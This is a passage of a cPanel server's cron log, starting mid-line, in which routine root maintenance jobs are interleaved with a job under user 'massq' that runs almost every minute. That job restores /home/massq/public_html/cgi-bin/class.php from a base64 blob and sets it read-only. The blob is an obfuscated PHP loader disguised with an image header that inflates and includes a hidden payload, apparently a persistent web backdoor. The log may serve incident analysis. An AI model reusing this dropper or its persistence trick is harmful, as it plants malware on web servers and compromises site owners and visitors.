qICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:50:01 server CROND[16052]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 03:50:01 server CROND[16053]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 03:50:01 server CROND[16051]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 03:50:01 server CROND[16054]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 03:50:01 server CROND[16059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:51:01 server CROND[16266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:52:01 server CROND[16337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:53:01 server CROND[16400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:54:01 server CROND[16463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:55:01 server CROND[16538]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 03:55:01 server CROND[16540]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 03:55:01 server CROND[16541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:56:01 server CROND[16663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:57:01 server CROND[16821]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 03:57:01 server CROND[16822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:58:01 server CROND[16878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:59:01 server CROND[16937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:00:01 server CROND[17028]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 04:00:01 server CROND[17029]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 11 04:00:01 server CROND[17030]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 04:00:01 server CROND[17031]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 04:00:01 server CROND[17034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:01:01 server CROND[17179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:01:01 server CROND[17180]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 04:01:01 server run-parts(/etc/cron.hourly)[17180]: starting 0anacron
Apr 11 04:01:01 server run-parts(/etc/cron.hourly)[17192]: finished 0anacron
Apr 11 04:02:01 server CROND[17252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
